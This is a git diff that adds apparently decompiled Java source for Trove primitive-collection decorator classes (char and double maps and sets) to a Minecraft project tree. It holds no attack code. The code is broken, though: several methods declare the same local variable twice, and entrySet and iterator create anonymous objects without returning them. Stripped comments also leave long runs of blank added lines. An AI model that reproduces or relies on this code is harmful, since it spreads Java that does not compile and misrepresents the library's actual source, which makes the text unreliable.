+        k = unwrapKey((Character)key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    return _map.remove(k);
+  }
+  
+
+
+
+
+
+  public Set<Map.Entry<Character, V>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharObjectMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, V>> iterator()
+      {
+        new Iterator() {
+          private final TCharObjectIterator<V> it = _map.iterator();
+          
+          public Map.Entry<Character, V> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final V v = it.value();
+            new Map.Entry() {
+              private V val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public V getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public V setValue(V value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, V> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, V>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharObjectMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return _map.containsValue(val);
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(((Character)key).charValue()));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends V> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends V>> it = map.entrySet().iterator();
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends V> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Character key)
+  {
+    return key.charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+
+    _map = ((TCharObjectMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharSetDecorator.java b/src/minecraft/gnu/trove/decorator/TCharSetDecorator.java
new file mode 100644
index 0000000..73de792
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharSetDecorator.java
@@ -0,0 +1,218 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharIterator;
+import gnu.trove.set.TCharSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractSet;
+import java.util.Iterator;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharSetDecorator
+  extends AbstractSet<Character>
+  implements Set<Character>, Externalizable
+{
+  protected TCharSet _set;
+  
+  public TCharSetDecorator() {}
+  
+  public TCharSetDecorator(TCharSet set)
+  {
+    _set = set;
+  }
+  
+
+
+
+
+
+  public TCharSet getSet()
+  {
+    return _set;
+  }
+  
+
+
+
+
+
+  public boolean add(Character value)
+  {
+    return (value != null) && (_set.add(value.charValue()));
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object other)
+  {
+    if (_set.equals(other))
+      return true;
+    if ((other instanceof Set)) {
+      Set that = (Set)other;
+      if (that.size() != _set.size()) {
+        return false;
+      }
+      Iterator it = that.iterator();
+      for (int i = that.size(); i-- > 0;) {
+        Object val = it.next();
+        if ((val instanceof Character)) {
+          char v = ((Character)val).charValue();
+          if (!_set.contains(v))
+          {
+
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+    return false;
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _set.clear();
+  }
+  
+
+
+
+
+
+
+  public boolean remove(Object value)
+  {
+    return ((value instanceof Character)) && (_set.remove(((Character)value).charValue()));
+  }
+  
+
+
+
+
+
+  public Iterator<Character> iterator()
+  {
+    new Iterator() {
+      private final TCharIterator it = _set.iterator();
+      
+      public Character next() {
+        return Character.valueOf(it.next());
+      }
+      
+      public boolean hasNext() {
+        return it.hasNext();
+      }
+      
+      public void remove() {
+        it.remove();
+      }
+    };
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _set.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return _set.size() == 0;
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _set = ((TCharSet)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_set);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TCharShortMapDecorator.java b/src/minecraft/gnu/trove/decorator/TCharShortMapDecorator.java
new file mode 100644
index 0000000..d477226
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TCharShortMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TCharShortIterator;
+import gnu.trove.map.TCharShortMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharShortMapDecorator
+  extends AbstractMap<Character, Short>
+  implements Map<Character, Short>, Externalizable, Cloneable
+{
+  protected TCharShortMap _map;
+  
+  public TCharShortMapDecorator() {}
+  
+  public TCharShortMapDecorator(TCharShortMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TCharShortMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Short put(Character key, Short value)
+  {
+    char k;
+    
+
+
+    char k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    short v;
+    short v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    short retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Short get(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Short remove(Object key)
+  {
+    char k;
+    
+
+
+    if (key != null) { char k;
+      if ((key instanceof Character)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    short v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Character, Short>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TCharShortMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Character, Short>> iterator()
+      {
+        new Iterator() {
+          private final TCharShortIterator it = _map.iterator();
+          
+          public Map.Entry<Character, Short> next() {
+            it.advance();
+            final Character key = wrapKey(it.key());
+            final Short v = wrapValue(it.value());
+            new Map.Entry() {
+              private Short val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Character getKey()
+              {
+                return key;
+              }
+              
+              public Short getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Short setValue(Short value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Character, Short> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Character key = (Character)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Character, Short>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TCharShortMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Short)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Character)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Character, ? extends Short> map)
+  {
+    Iterator<? extends Map.Entry<? extends Character, ? extends Short>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Character, ? extends Short> e = (Map.Entry)it.next();
+      put((Character)e.getKey(), (Short)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Character wrapKey(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapKey(Object key)
+  {
+    return ((Character)key).charValue();
+  }
+  
+
+
+
+
+
+
+  protected Short wrapValue(short k)
+  {
+    return Short.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected short unwrapValue(Object value)
+  {
+    return ((Short)value).shortValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TCharShortMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleByteMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleByteMapDecorator.java
new file mode 100644
index 0000000..6ede7af
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleByteMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleByteIterator;
+import gnu.trove.map.TDoubleByteMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleByteMapDecorator
+  extends AbstractMap<Double, Byte>
+  implements Map<Double, Byte>, Externalizable, Cloneable
+{
+  protected TDoubleByteMap _map;
+  
+  public TDoubleByteMapDecorator() {}
+  
+  public TDoubleByteMapDecorator(TDoubleByteMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleByteMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Byte put(Double key, Byte value)
+  {
+    double k;
+    
+
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    byte v;
+    byte v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    byte retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Byte get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Byte remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    byte v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Double, Byte>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleByteMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, Byte>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleByteIterator it = _map.iterator();
+          
+          public Map.Entry<Double, Byte> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final Byte v = wrapValue(it.value());
+            new Map.Entry() {
+              private Byte val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public Byte getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Byte setValue(Byte value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, Byte> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, Byte>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleByteMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Byte)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends Byte> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends Byte>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends Byte> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), (Byte)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Object key)
+  {
+    return ((Double)key).doubleValue();
+  }
+  
+
+
+
+
+
+
+  protected Byte wrapValue(byte k)
+  {
+    return Byte.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected byte unwrapValue(Object value)
+  {
+    return ((Byte)value).byteValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TDoubleByteMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleCharMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleCharMapDecorator.java
new file mode 100644
index 0000000..ae8346d
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleCharMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleCharIterator;
+import gnu.trove.map.TDoubleCharMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleCharMapDecorator
+  extends AbstractMap<Double, Character>
+  implements Map<Double, Character>, Externalizable, Cloneable
+{
+  protected TDoubleCharMap _map;
+  
+  public TDoubleCharMapDecorator() {}
+  
+  public TDoubleCharMapDecorator(TDoubleCharMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleCharMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Character put(Double key, Character value)
+  {
+    double k;
+    
+
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    char v;
+    char v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    char retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Character get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Character remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    char v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Double, Character>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleCharMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, Character>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleCharIterator it = _map.iterator();
+          
+          public Map.Entry<Double, Character> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final Character v = wrapValue(it.value());
+            new Map.Entry() {
+              private Character val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public Character getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Character setValue(Character value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, Character> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, Character>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleCharMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Character)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends Character> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends Character>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends Character> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), (Character)e.getValue());
+    }
+  }
+  
+
+
+
+
+
+
+  protected Double wrapKey(double k)
+  {
+    return Double.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected double unwrapKey(Object key)
+  {
+    return ((Double)key).doubleValue();
+  }
+  
+
+
+
+
+
+
+  protected Character wrapValue(char k)
+  {
+    return Character.valueOf(k);
+  }
+  
+
+
+
+
+
+
+  protected char unwrapValue(Object value)
+  {
+    return ((Character)value).charValue();
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _map = ((TDoubleCharMap)in.readObject());
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_map);
+  }
+}
diff --git a/src/minecraft/gnu/trove/decorator/TDoubleDoubleMapDecorator.java b/src/minecraft/gnu/trove/decorator/TDoubleDoubleMapDecorator.java
new file mode 100644
index 0000000..c540365
--- /dev/null
+++ b/src/minecraft/gnu/trove/decorator/TDoubleDoubleMapDecorator.java
@@ -0,0 +1,401 @@
+package gnu.trove.decorator;
+
+import gnu.trove.iterator.TDoubleDoubleIterator;
+import gnu.trove.map.TDoubleDoubleMap;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.AbstractMap;
+import java.util.AbstractSet;
+import java.util.Collection;
+import java.util.Iterator;
+import java.util.Map;
+import java.util.Map.Entry;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleDoubleMapDecorator
+  extends AbstractMap<Double, Double>
+  implements Map<Double, Double>, Externalizable, Cloneable
+{
+  protected TDoubleDoubleMap _map;
+  
+  public TDoubleDoubleMapDecorator() {}
+  
+  public TDoubleDoubleMapDecorator(TDoubleDoubleMap map)
+  {
+    _map = map;
+  }
+  
+
+
+
+
+
+  public TDoubleDoubleMap getMap()
+  {
+    return _map;
+  }
+  
+
+
+
+  public Double put(Double key, Double value)
+  {
+    double k;
+    
+
+
+    double k;
+    
+
+    if (key == null) {
+      k = _map.getNoEntryKey();
+    } else
+      k = unwrapKey(key);
+    double v;
+    double v; if (value == null) {
+      v = _map.getNoEntryValue();
+    } else {
+      v = unwrapValue(value);
+    }
+    double retval = _map.put(k, v);
+    if (retval == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(retval);
+  }
+  
+
+
+
+  public Double get(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.get(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+  public void clear()
+  {
+    _map.clear();
+  }
+  
+
+
+
+  public Double remove(Object key)
+  {
+    double k;
+    
+
+
+    if (key != null) { double k;
+      if ((key instanceof Double)) {
+        k = unwrapKey(key);
+      } else {
+        return null;
+      }
+    } else {
+      k = _map.getNoEntryKey();
+    }
+    double v = _map.remove(k);
+    
+
+
+    if (v == _map.getNoEntryValue()) {
+      return null;
+    }
+    return wrapValue(v);
+  }
+  
+
+
+
+
+
+
+  public Set<Map.Entry<Double, Double>> entrySet()
+  {
+    new AbstractSet() {
+      public int size() {
+        return _map.size();
+      }
+      
+      public boolean isEmpty() {
+        return TDoubleDoubleMapDecorator.this.isEmpty();
+      }
+      
+      public boolean contains(Object o) {
+        if ((o instanceof Map.Entry)) {
+          Object k = ((Map.Entry)o).getKey();
+          Object v = ((Map.Entry)o).getValue();
+          return (containsKey(k)) && (get(k).equals(v));
+        }
+        
+        return false;
+      }
+      
+      public Iterator<Map.Entry<Double, Double>> iterator()
+      {
+        new Iterator() {
+          private final TDoubleDoubleIterator it = _map.iterator();
+          
+          public Map.Entry<Double, Double> next() {
+            it.advance();
+            final Double key = wrapKey(it.key());
+            final Double v = wrapValue(it.value());
+            new Map.Entry() {
+              private Double val = v;
+              
+              public boolean equals(Object o) {
+                return ((o instanceof Map.Entry)) && (((Map.Entry)o).getKey().equals(key)) && (((Map.Entry)o).getValue().equals(val));
+              }
+              
+
+              public Double getKey()
+              {
+                return key;
+              }
+              
+              public Double getValue() {
+                return val;
+              }
+              
+              public int hashCode() {
+                return key.hashCode() + val.hashCode();
+              }
+              
+              public Double setValue(Double value) {
+                val = value;
+                return put(key, value);
+              }
+            };
+          }
+          
+          public boolean hasNext() {
+            return it.hasNext();
+          }
+          
+          public void remove() {
+            it.remove();
+          }
+        };
+      }
+      
+      public boolean add(Map.Entry<Double, Double> o) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public boolean remove(Object o) {
+        boolean modified = false;
+        if (contains(o))
+        {
+          Double key = (Double)((Map.Entry)o).getKey();
+          _map.remove(unwrapKey(key));
+          modified = true;
+        }
+        return modified;
+      }
+      
+      public boolean addAll(Collection<? extends Map.Entry<Double, Double>> c) {
+        throw new UnsupportedOperationException();
+      }
+      
+      public void clear() {
+        TDoubleDoubleMapDecorator.this.clear();
+      }
+    };
+  }
+  
+
+
+
+
+
+
+  public boolean containsValue(Object val)
+  {
+    return ((val instanceof Double)) && (_map.containsValue(unwrapValue(val)));
+  }
+  
+
+
+
+
+
+
+  public boolean containsKey(Object key)
+  {
+    if (key == null) return _map.containsKey(_map.getNoEntryKey());
+    return ((key instanceof Double)) && (_map.containsKey(unwrapKey(key)));
+  }
+  
+
+
+
+
+
+  public int size()
+  {
+    return _map.size();
+  }
+  
+
+
+
+
+
+  public boolean isEmpty()
+  {
+    return size() == 0;
+  }
+  
+
+
+
+
+
+
+
+  public void putAll(Map<? extends Double, ? extends Double> map)
+  {
+    Iterator<? extends Map.Entry<? extends Double, ? extends Double>> it = map.entrySet().iterator();
+    
+    for (int i = map.size(); i-- > 0;) {
+      Map.Entry<? extends Double, ? extends Double> e = (Map.Entry)it.next();
+      put((Double)e.getKey(), (Double)e.getValue());
+    }
